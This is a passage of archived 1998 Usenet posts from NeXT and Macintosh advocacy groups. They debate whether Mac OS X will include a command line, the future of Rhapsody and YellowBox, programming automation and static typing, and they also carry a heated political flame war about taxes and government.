Message-ID: <slrn6q8mpg.399.sal@panix3.panix.com>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com>
On 8 Jul 1998 18:48:44 GMT, Erik M. Buck <embuck@palmer.cca.rockwell.com> wrote:
>In <slrn6q2sji.osk.sal@panix3.panix.com> Salvatore Denaro wrote:
>> They are saying that anyway. Rhapsody has a CLI and I don't see IS groups
>> jumping over each other about it. FAIK, MacOSX will have a CLI as an
>Oh come on... There are other reasons IS groups are not jumping on Rhapsody.
>Some of those reasons have to do with the fact that it is orphaned before
>release. Its only successor will have no command line.
I didn't see anyone in IS jumping for joy over Rhapsody _before_ the MacOSX
announcement. As it stands now, it is hard to sell WO despite the glowing
reputation of good Apps done on time and on budget that WO enjoys.
It is pretty clear that _Apple_, not Rhapsody or MacOSX or WO is hated
by F5000 corps. It has little to do with the CLI and everything to do
with the company and the part 10+ years of user hostility and breathtaking
cluelessness that they have demonstrated.
> Apple
>needs to give customers what they want.
MacOS customers do _not_ want a CLI.
>It seems Apple has some potential customers that won't buy something that has
>a built in standard UNIX command line.
> I know Apple might have had some
>potential customers who won't buy another _toy_ OS from Apple. It does no
>good to tell IT professionals that it is not a toy. If it does not have the
>features they want out of the box, they will not buy it.
From this, I'll assume that including a CLI that is out of sight for those
who don't want it; but, available for those who want it would be a good idea.
And it look like this is what they are doing.
--
sal@panix.com
Salvatore Denaro
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Wed, 08 Jul 1998 22:39:33 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A43B75.726FC058@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <35A407FC.2184A3B4@ericsson.com> <syWo1.2965$24.17285705@news.itd.umich.edu>
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not@my.address.net wrote:
>
> On 07/08/98, Michael Peck wrote:
>
> >
> >No, Chuck; if you are rational and your evidence is sound, you are
> >infallible. The only recourse, should a rational being act or conclude
> >improperly, is to assume that his evidence was unsound. How do you plea?
> >
>
> Why this dichotomy: infallible or irrational? If I wake up and notice that the
> streets are wet, it's not irrational to infer that it rained last night.
My point exactly. You were (presumably) rational, but your evidence was
unsound and incomplete.
> That
> the streets are wet gives one reason for thinking that it rained even though
> it's possible that it did not. Being rational is a matter of having beliefs
> that track the available evidence; no more, no less.
No, being rational is drawing not incorrect conclusions from the
available data during the decision-making process. The fact that your
ability to collect evidence is finitely bounded, grossly incomplete, and
generally faulty in the first place makes "rational" decision-making on
human evidence correct usually only by accident.
MJP
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 03:42:18 GMT
Organization: KU
Message-ID: <35b13bd1.167335312@198.0.0.100>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o14ca$b2i$1@news12.ispnews.com> <jpolaski-0807982148290001@d151-216.ce.mediaone.net>
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On Thu, 09 Jul 1998 02:42:14 GMT, jpolaski@NO.wwa.com (Jim Polaski)
wrote:
>"The trick is not to make the horse drink. The real trick is to make the
>horse thirsty!"
>
>...and that is what Jobs is doing...
Classic Pavlovianism. I thought Jobs had Maslow and Pavlov confused.
Nathan A. Hughes
MFA Candidate
The University Theatre, KU
http://scenedesign.home.ml.org
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 06:01:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6q8n6c.399.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <4zeo1.2613$24.15470258@news.itd.umich.edu> <6nrs9a$425@newsb.netnews.att.com> <slrn6q2uq7.osk.sal@panix3.panix.com> <6nrvjh$to2$1@camel0.mindspring.com>
On 7 Jul 1998 02:02:25 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <slrn6q2uq7.osk.sal@panix3.panix.com> Salvatore Denaro,
>sal@panix3.panix.com writes:
>>The companies that were pushing for NAFTA were doing it to boost their
>>bottom lines, not to improve the economy of Mexico (or the US for that
>>matter)
>Free trade between countries is beneficial for the same reason that free
[snip]
I didn't claim that free trade is bad, I stated that companies are more
concerned about their own bottom lines that the state of the economy.
>Anyone who opposes free trade is, in the final analysis, joining forces
>with the sabot-throwers and luddites.
Anyone who thinks that "corporate America" cares about them, the state
of the economy or the rights of individuals is being naive.
--
sal@panix.com
Salvatore Denaro
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Wed, 8 Jul 1998 23:09:19 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dbual6.1dg6va4fd3yjwN@carina22.wco.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net>
Leon von Stauber <devnull@occam.com> wrote:
> This is not Chicken Little overreaction to some vague possibility
> mentioned on a random Web site. This is Apple's official and
> unequivocal statement that Mac OS X is not UNIX, and will have no
> CLI built-in to the system.
Well, it's the official and unequivocal statement of what some folks in
Product Marketing and Developer Relations believes is needed/wanted in
the Mac OS X product. Then again, Apple has been known to respond to
customer demand in the recent past (see Wednesday's MacWorld keynote).
If having a terminal UI/command line interface in the base system or
optionally installable from the user system CD is important to your
plans, I suggest that you send feedback to Apple. For business or
eduational use, you might want to indicate the number of seats and users
impacted by this.
In the unlikely event that a terminal UI program such as Terminal.app is
not available, I'll bet a third party replacement (maybe even shareware
or freeware) would be available immediately. Note that Terminal.app is
derived from Scott Hess's Stuart.app.
(Scott, if Mac OS X doesn't have a terminal/shell UI available, I'll
drop by one weekend and help port Stuart if you like.)
'Porting' any missing BSD 4.4 commands is mostly a matter of typing
'make' and waiting an hour. Making the Installer package and
installation notes will take longer. I bet I can find a set that's
100% compatable with Rhapsody 1.0.
--
Mike Paquette mpaque@wco.com
"Troubled Microsoft" and the "Troubled Microsoft" logo
are trade and service marks of Microsoft Corp.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Wed, 8 Jul 1998 23:09:27 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dbupy1.zcyvzv1hf1jkvN@carina22.wco.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net>
Leon von Stauber <devnull@occam.com> wrote:
> Sure, but it won't be *built-in* as a standard component, it won't
> be ubiquitous on Mac OS X. It makes a big difference if you can't
> rely on it being there on every system.
By the way, 'Mac OS X Server' includes the Terminal app, which gives
users access to a command line interface. The first release of this
product will ship in a few months.
(For those who don't get it, the official name Rhapsody is to ship under
was announced today to be 'Mac OS X Server.')
Mike Paquette
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Wed, 08 Jul 1998 22:47:22 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A43D4A.EE3B0F0B@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <6o0egj$nqg$1@news.spacelab.net> <rmcassid-0807981158550001@dante.eng.uci.edu> <35A3D7D2.102B8996@ericsson.com> <6o0pij$mj5$1@camel21.mindspring.com> <RITo1.2948$24.17168397@news.itd.umich.edu> <35A41682.CA191009@nstar.net> <K0Xo1.2967$24.17304460@news.itd.umich.edu>
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NNTP-Posting-Date: 9 Jul 1998 03:52:44 GMT
not@my.address.net wrote:
> The man claims to have a rational fear that the government will murder him; and
> you think it's silly to ask what steps he's going to take to protect himself?
> Still waiting for an answer, by the way. But he doesn't want to tell. Given
> the seriousness of the percieved threat, however, you'd think that the situation
> calls for extreme measures.
Extreme measures? That's your conclusions, not his. How would you know
what "extreme measures" are to Mr. Cromer in the first place? But lack
of evidence is certainly not a factor in your "rational" conclusions, as
we have thus far seen.
> That would also explain his reluctance to go
> public. I mean, if you're gonna get them before they get you, you wouldn't
> exactly want to advertise ...
You mean _you_ wouldn't. It's not exactly "rational" to project one's
own psyche on one's neighbors. Don't let lack of evidence trip you up on
the way to moral indignation, Mr. Devlin.
> >Hmmmm? The Weimar Republic was the government under which the Nazi
> >regime was *elected* into power.
>
> One of the first steps that Hitler took after becoming Chancellor was to disband
> parliament. After that point, Germany was hardly democratic. It's not as if
> anyone was going to vote the Nazis out of office.
So of course democracy wasn't the real source of the problem, a fact
which nobody has contested. The problem was government. Aptly put.
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 06:11:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6q8nob.399.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0707980825390001@wil42.dol.net> <6nts6h$hhn$1@news.spacelab.net> <35A289CA.FCC89397@ericsson.com> <6nu45f$tg3$1@camel18.mindspring.com> <6null6$dsd$1@supernews.com> <35A2F139.ADA83D1A@nstar.net>
On Tue, 07 Jul 1998 23:10:33 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>John C. Randolph wrote:
>> Actually, the real task that an employer has when it comes to setting wage
>> levels, is to hire you for the least possible, but pay you and treat you well
>> enough that you don't get pissed off and leave.
>Not quite. They also pay you health benefits so that you'll be healthy
>and work more effectively (indeed, work at all). They pay you bonuses as
>a motivation to work harder and to increase enthusiasm for the company.
Yes, when the job market forces them to pay a premium for labor. When the
market is saturated, those benifits will vaporize.
I've seen "downsized departments" that are run by 75%+ temp workers where
the prime motivation is to work hard and become a full time worker. Temps
do not get bonuses or benefits. The company (a large database vendor in
this case) replaced 200+ workers with new workers that got paid less money,
received no benefits, and worked harder. A boon for the company, at the
cost of 200+ individuals and their families.
--
sal@panix.com
Salvatore Denaro
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Date: Thu, 09 Jul 1998 00:00:58 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net> <gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net>
Mail-Copies-To: jayfar@netaxs.com
In article <gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net>,
gierkeNOSPAM@delaware.infi.net (Gierke) wrote:
| In article <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>,
| macghod@concentric.net (Steve Sullivan) wrote:
|
| > Macintosh OS X, due out third quarter of 1999, was announced today to not
| > be Year 2000 compliant.
| >
| > From macosrumors.com. This is a joke right?
|
| Perhaps this will answer your questions:
|
| (Taken directly from http://2guys.macosrumors.com/wednesday.html#night)
|
| --Begin--
|
| You freaking babies
|
| Earlier today I joked that OS X would not be year 2000 compliant -- with
| the release date set for near the end of 1999 and all the media hype about
| year 2000 problems, I am stunned at the number of e-mails from people who
| actually believed it. They didn't say anything, but let's just assume it
| works, ok?
|
| --End--
The thing is jokes like that aren't the slightest bit funny when they
appear on a widely read website on other than April 1. The wrong people
read such jokes and run with them as facts -- David Field would have a
field day with that.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: massello@primenet.com (Neill Massello)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Date: 8 Jul 1998 23:15:00 -0700
Organization: Eidola Enterprises
Message-ID: <massello-0907980014520001@ip209.elp.primenet.com>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>
Mail-Copies-To: never
In article <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Macintosh OS X, due out third quarter of 1999, was announced today to not
> be Year 2000 compliant.
>
> From macosrumors.com. This is a joke right?
No, it's true; but Mac OS X will be year MM compliant.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 06:20:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6q8o8s.399.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <35a29bca.10515777@news.hex.net> <5qxo1.2786$24.16251625@news.itd.umich.edu> <35A2A96A.4C492F62@ericsson.com> <6nuaj6$d5j$1@camel18.mindspring.com>
On 7 Jul 1998 23:22:14 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>Ok, now you defend sales taxes.
And build your own stuff out of raw material if you are opposed to sales
tax.
>Explain why sales and other taxes are
>moral.
Define "moral". Why are taxes morally wrong? (Hint: morals are subjective)
>Explain why Michael should pay property tax to teach children in
>public schools things he finds morally wrong.
So move to a community where the schools teach what you consider "moral"
last time I checked, home schooling was legal and the government provides
vouchers (in some states, IIRC) to pay some of the expenses incurred in
home schooling.
--
sal@panix.com
Salvatore Denaro
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 9 Jul 1998 03:57:12 GMT
Organization: Digital Fix Development
Message-ID: <6o1f2o$844$1@news.digifix.com>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net> <6ns60v$dkf$1@news.digifix.com> <joe.ragosta-0707980806470001@wil42.dol.net> <6nus1s$goj$1@nnrp1.dejanews.com>
In-Reply-To: <6nus1s$goj$1@nnrp1.dejanews.com>
On 07/07/98, quinlan@intergate.bc.ca wrote:
<snip>
>>BTW, you would have to modify more than the behaviour of the
existing views to
>globally change the behavior of scrollbars in YB. What about people
who create
>their own views? They would have to be told on which side they should
draw
>their scrollbars.
This would only be an issue if you wrote a new implementation
of NSScrollView.
If I wrote my own view, I'd put it inside an NSScrollView to
make it scrollable. NSScrollView would still manage all the placement
of the scrollers.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 8 Jul 1998 16:31:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1C94F48-5412C@206.165.43.204>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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aa158@valleynet.on.ca said:
>From the July 8 Macintouch:
>
>" Jobs also noted the following...
>
>750,000 G3 systems, including tens of thousands of PowerBook G3's, have
>been
>sold."
>
>
>Comment: This would seem to be a strong incentive for Apple to get OS X
>running on machines other than just the G3 models.
>
You would think, wouldn't you?
Here's another interesting statistic: The Carbon API will only run on
PowerMacs. That means that Apple's cutting-edge text technology will only
run on 1/2 of its installed base, at best.
OTOH, GX typography is the basis of ATSUI and runs on 32-bit Macintosh ever
built.
If Apple were to port ATSUI back to GX and make GX part of the Carbon API,
how many computers would this graphics engine run on?
And yet they won't do that.
Why?
Here's a cute demo of GX graphics, GX typography and how robust the OpenDoc
paradigm can be: GXMagic, a pair of OpenDoc parts made by Nisus Software,
<http://www.nisus.com>
Try playing with it for a while and note that you can embed the simplistic
typographical OD part inside the GX graphics part and make the
typographical part transparent, which means that all transparency/whatever
colorizing options of the typography part automatically get applied to the
underlying graphics part.
Is this possible using Rhaposdy/YB/Carbon? Does DirectX/OLE handle this
kind of graphical interaction?
"OpenDoc [GX/Cyberdog/etc] may be wonderful technology, but if no-one else
is using it, why should Apple?" -Steve Jobs.
"Carbon/YB/Rhapsody/PowerPC may be wonderful technology, but if no-one else
is using it, why should Apple?" -Lawson English
----------------------------------------------------------------------
Think Different: Think has-been copycat.
----------------------------------------------------------------------
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 9 Jul 1998 03:58:57 GMT
Organization: Digital Fix Development
Message-ID: <6o1f61$845$1@news.digifix.com>
References: <6o0fib$kb1$1@lwnws01.ne.highway1.com> <6o0pqm$1s9$1@scapa.cs.ualberta.ca> <6o1109$j1k1@odie.mcleod.net>
In-Reply-To: <6o1109$j1k1@odie.mcleod.net>
On 07/08/98, "Michelle L. Buck" wrote:
>
>Jean-Paul Samson wrote in message
<6o0pqm$1s9$1@scapa.cs.ualberta.ca>...
>>On 07/08/98, John Kheit wrote:
>>>Well in reading through all the expo news everywhere it seems that
>>>Rhapsody will be called MacOSX.
>>
>>Well, more specifically I've heard that it'll be called Mac OS X
>>Server. (It's cool, in the sense that it is an admission that
>>Mac OS X really is Rhapsody. On the downside... what a boring
>>name! :-))
>>
>>Jean-Paul
>>
>Ken Bereskin, Director of OS Technology, Apple Computer, gave a very
>interesting interview to Dr. Dobb's today.
The date on the article was June 26...
>I am now even more depressed. I will leave it up to net wisdom
>to decide if YellowBox can now be considered completely dead.
>
Hardly.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple in the enterprise
Date: 9 Jul 1998 03:52:42 GMT
Organization: Digital Fix Development
Message-ID: <6o1eqa$843$1@news.digifix.com>
References: <6noi5p$2qg$1@news.cmc.net> <1998070601323200.VAA10221@ladder01.news.aol.com> <joe.ragosta-0607982054570001@elk59.dol.net> <6nv8ak$7vv$2@nntp1.ba.best.com>
In-Reply-To: <6nv8ak$7vv$2@nntp1.ba.best.com>
On 07/07/98, David Williams wrote:
<snip>
>Wow. THAT is really missing the point.
>It is Steve Jobs abandoning a customer base that is the cause.
>Nextstep/openstep/whatever is dead. Orphaned.
>
>This should be no surprise, Jobs has a history of doing this.
>It doesn't matter how Tom Swiftian, Jobs' latest techno toy of the
moment
>is because the ONE thing you can count on is for him to hype it, then
>abandon it, then move on. Leaving customers holding the bag.
>
>Objective C is dead. IB is dead. Nextstep is long dead.
I'm not sure where you're getting your information, but NONE
of this is true.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 8 Jul 98 13:25:30
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul8132530@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de>
<6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com>
<6mtgg8$sts$1@nnrp1.dejanews.com>
<SCOTT.98Jun29132022@slave.doubleu.com>
<6n90m7$8b4$2@lwnws01.ne.highway1.com>
<SCOTT.98Jul2225157@slave.doubleu.com>
<6nj0oo$crc$2@lwnws01.ne.highway1.com>
<SCOTT.98Jul7095953@slave.doubleu.com>
<6o02er$bm2$1@lwnws01.ne.highway1.com>
In-reply-to: John Kheit's message of 8 Jul 1998 15:15:39 GMT
In article <6o02er$bm2$1@lwnws01.ne.highway1.com>,
John Kheit <jkheit@mediaone.net> writes:
scott@doubleu.com (Scott Hess) wrote:
> <kosh>Coding _is_ easy.</kosh>
Sorry, don't know what "kosh" is.
Then I'm going to have to revoke your geek license, John. [Babylon 5
is the reference.]
> [In English: automated coding tools will get rid of the _bottom_
> of the curve, not the top. "Anyone" already _can_ code. Not
> "anyone" can program. The problem is that people find it so easy
> to code that they think it should be easy to program, too.]
My point is that curve is a moving wave. And from time to time
that curve is going to crash on shore and be broken down for all
practical purposes. So *today* the top of the curve still demands
technical expertise in say, making an operating system kernel.
Dammit. I give up, John. I'm arguing that programming is about a
particular style of _thinking_. We have no reason at this time to
think that you can automate thinking. You can only automate doing.
The implications are broad. This means that for a person who's not
trained in logical thinking, they could perhaps write a small program.
But you simply can't automate the writing of arbitrarily complex
systems. I'm stating that as an axiom, not a theory. You can clone
and rearrange _existing_ complex systems, to make them more
approachable. You can get away with not reinventing the wheel.
[Of course, you could fix everything by inventing an artificial
programmer. It may not even have to be "sentient" in all senses of
the word! Sentience may actually be a negative in this
application...]
But even today, for some mundane tasks it really doesn't matter if
you put down a college grad grog coder, or a good programmer down
for the task. Sure, no doubt the programmers resluts will
superior. But if the task is not even close to being critical,
then optimality and artfulness in the resulting work is not a
priority, and thus, in a business sense inconsequential.
Garbage In, Garbage Out. I don't think that the original posts on
this thread were saying "I want a system whereby I can put in 15
minutes and get a crappy program out." I think they were saying "I
want a system whereby I can put in 15 minutes and get a _decent_
program out." I may be wrong.
I think: That technology advances will make many of *today's*
difficulties hurdles with coding & programming go away to varying
extents.
Yes.
As these hurdles are lowered it will allow more (i.e. some, but
not all) poeple to perform tasks that were once the sole
responsibility of programmers.
Yes.
As more and more projects fall outside the exclusive domain of
programmers, the demand for exlusive programmers will diminish.
Probably not, because the demand in this case is elastic.
However, I do agree, that there will probably always be some
programmers at the upper echelons of the technology curve doing
really new and tough things (though in diminishing numbers).
I would instead argue that the absolute number of hard-core
programmers will probably continue increasing for the forseeable
future. The numbers of "weekend programmers" will increase faster.
[Note that I strongly believe that at least 90% of the code written
out there is written by people who don't deserve the title
"programmer" or "engineer". Might be closer to 99%, given all the
reinventing the wheel that certain industry factors force on us.]
I'm not saying there won't be progress in programming. I'm saying
such progress won't eliminate the need for programmers. Implying
that progress will eliminate the need for programmers is, in my
opinion, as insulting as it would be to imply that progress will
eliminate the need for philosophers or mathematicians. It's saying
that what programmers currently do is unskilled labor - which is
clearly not _always_ the case. [Though some programmers clearly _are_
unskilled. Just as, I'm sure, some biologists are, and some editors
are.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 11:39:50 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o2a66$v74$1@camel21.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <slrn6q8n6c.399.sal@panix3.panix.com> <slrn6q8nob.399.sal@panix3.panix.com> <slrn6q8o8s.399.sal@panix3.panix.com>
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In article <RITo1.2948$24.17168397@news.itd.umich.edu> ,
not@my.address.net writes:
>>>Question stands: If millions have been killed by their own governments this
>>>century, and this is the basis of your rational fear of the government, what
>>>steps are you going to take to protect yourself?
>>
>>Why, that would be none of your d&*n business.
>
>You claim to have a rational fear that the government will murder you. And you
>are being extremely cagey about how you intend to "protect" yourself. You'll
>forgive my interest. I might know some children in daycare in a federal
>building near you.
Screw you. I never brought up bombing children--you constantly return to
the topic. I have no interest in blowing up people--it appears that you
do since you keep bring up the topic, first with Michael Peck and now
with me.
Jerk.
>
>
>>>>
>>>>BTW, over 100 million people have been killed by their own governments
>>>>this century. Far more than have been killed by enemy governments in
>>>>war, far more than have been killed by private individuals.
>>>>
>>>
>>>How many of those were killed by their own democratic government?
>>
>>Nazi Germany's victims for starters.
>>
>>Lots of others.
>
>Nazi Germany wasn't a democracy. Perhaps if you tell me which democratic
>governments you think murdered "lots of others" we can evaluate that claim as
>well. Then we might be able to get somethwere when we talk about paranoia.
>
Hitler's party was elected to power before he began to dismantle the
apparatus of democracy in Germany.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 11:54:44 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o2b24$tca$1@camel21.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <slrn6q8n6c.399.sal@panix3.panix.com> <slrn6q8nob.399.sal@panix3.panix.com> <slrn6q8o8s.399.sal@panix3.panix.com>
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In article <K0Xo1.2967$24.17304460@news.itd.umich.edu> ,
not@my.address.net writes:
>>That's funny; a man claims to be opposed to government in principle and
>>declines to answer silly questions to a stranger on USENET.
>
>The man claims to have a rational fear that the government will murder him; and
>you think it's silly to ask what steps he's going to take to protect himself?
>Still waiting for an answer, by the way. But he doesn't want to tell. Given
>the seriousness of the percieved threat, however, you'd think that the situation
>calls for extreme measures. That would also explain his reluctance to go
>public. I mean, if you're gonna get them before they get you, you wouldn't
>exactly want to advertise ...
You are an absolute douchebag.
You accuse me of wanting to murder and kill people, you put words in my
mouth, you accuse me of plotting to blow up a day-care center. While you
are the one who keeps talking about committing mass murder.
As for whether or not government is dangerous, I leave it to these two:
"Government is not reason. It is not eloquence. It is force. Like fire,
it is a dangerous servant and a fearful master."
G Washington
"They that give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety."
B Franklin
>
>
>>>
>>> Nazi Germany wasn't a democracy.
>>
>>Hmmmm? The Weimar Republic was the government under which the Nazi
>>regime was *elected* into power.
>>
>
>One of the first steps that Hitler took after becoming Chancellor was to disband
>parliament. After that point, Germany was hardly democratic. It's not as if
>anyone was going to vote the Nazis out of office.
The point is, they were elected _in_ to power.
Matthew Cromer
>
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Static typing and dynamic binding
Date: 9 Jul 1998 12:47:53 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6o2e5p$q2u$1@news.cs.tu-berlin.de>
References: <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.n
Mime-Version: 1.0
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lars.farm@ite.mh.se (Lars Farm) writes:
>Erik M. Buck <embuck@palmer.cca.rockwell.com> wrote:
[ callbacks, C++ vtables, selectors and dynamic dispatch ]
>The difference between ST/ObjC/Lisp/... on one side and C++/Eiffel/...
>on the other that you're talking about is strong static typing vs weak
>runtime typing. Static typing makes it illegal to call an incompatible
>method even though neither the compiler nor the linker needs to know
>exactly which function will be called at runtime. The actual binding is
>done at runtime.
Close but not quite: static typing disallows calling an incompatibly
*named* + *typed* function. The function may still be incompatible,
and such errors are in many ways more difficult.
>A dynamic language doesn't have that information available. The compiler
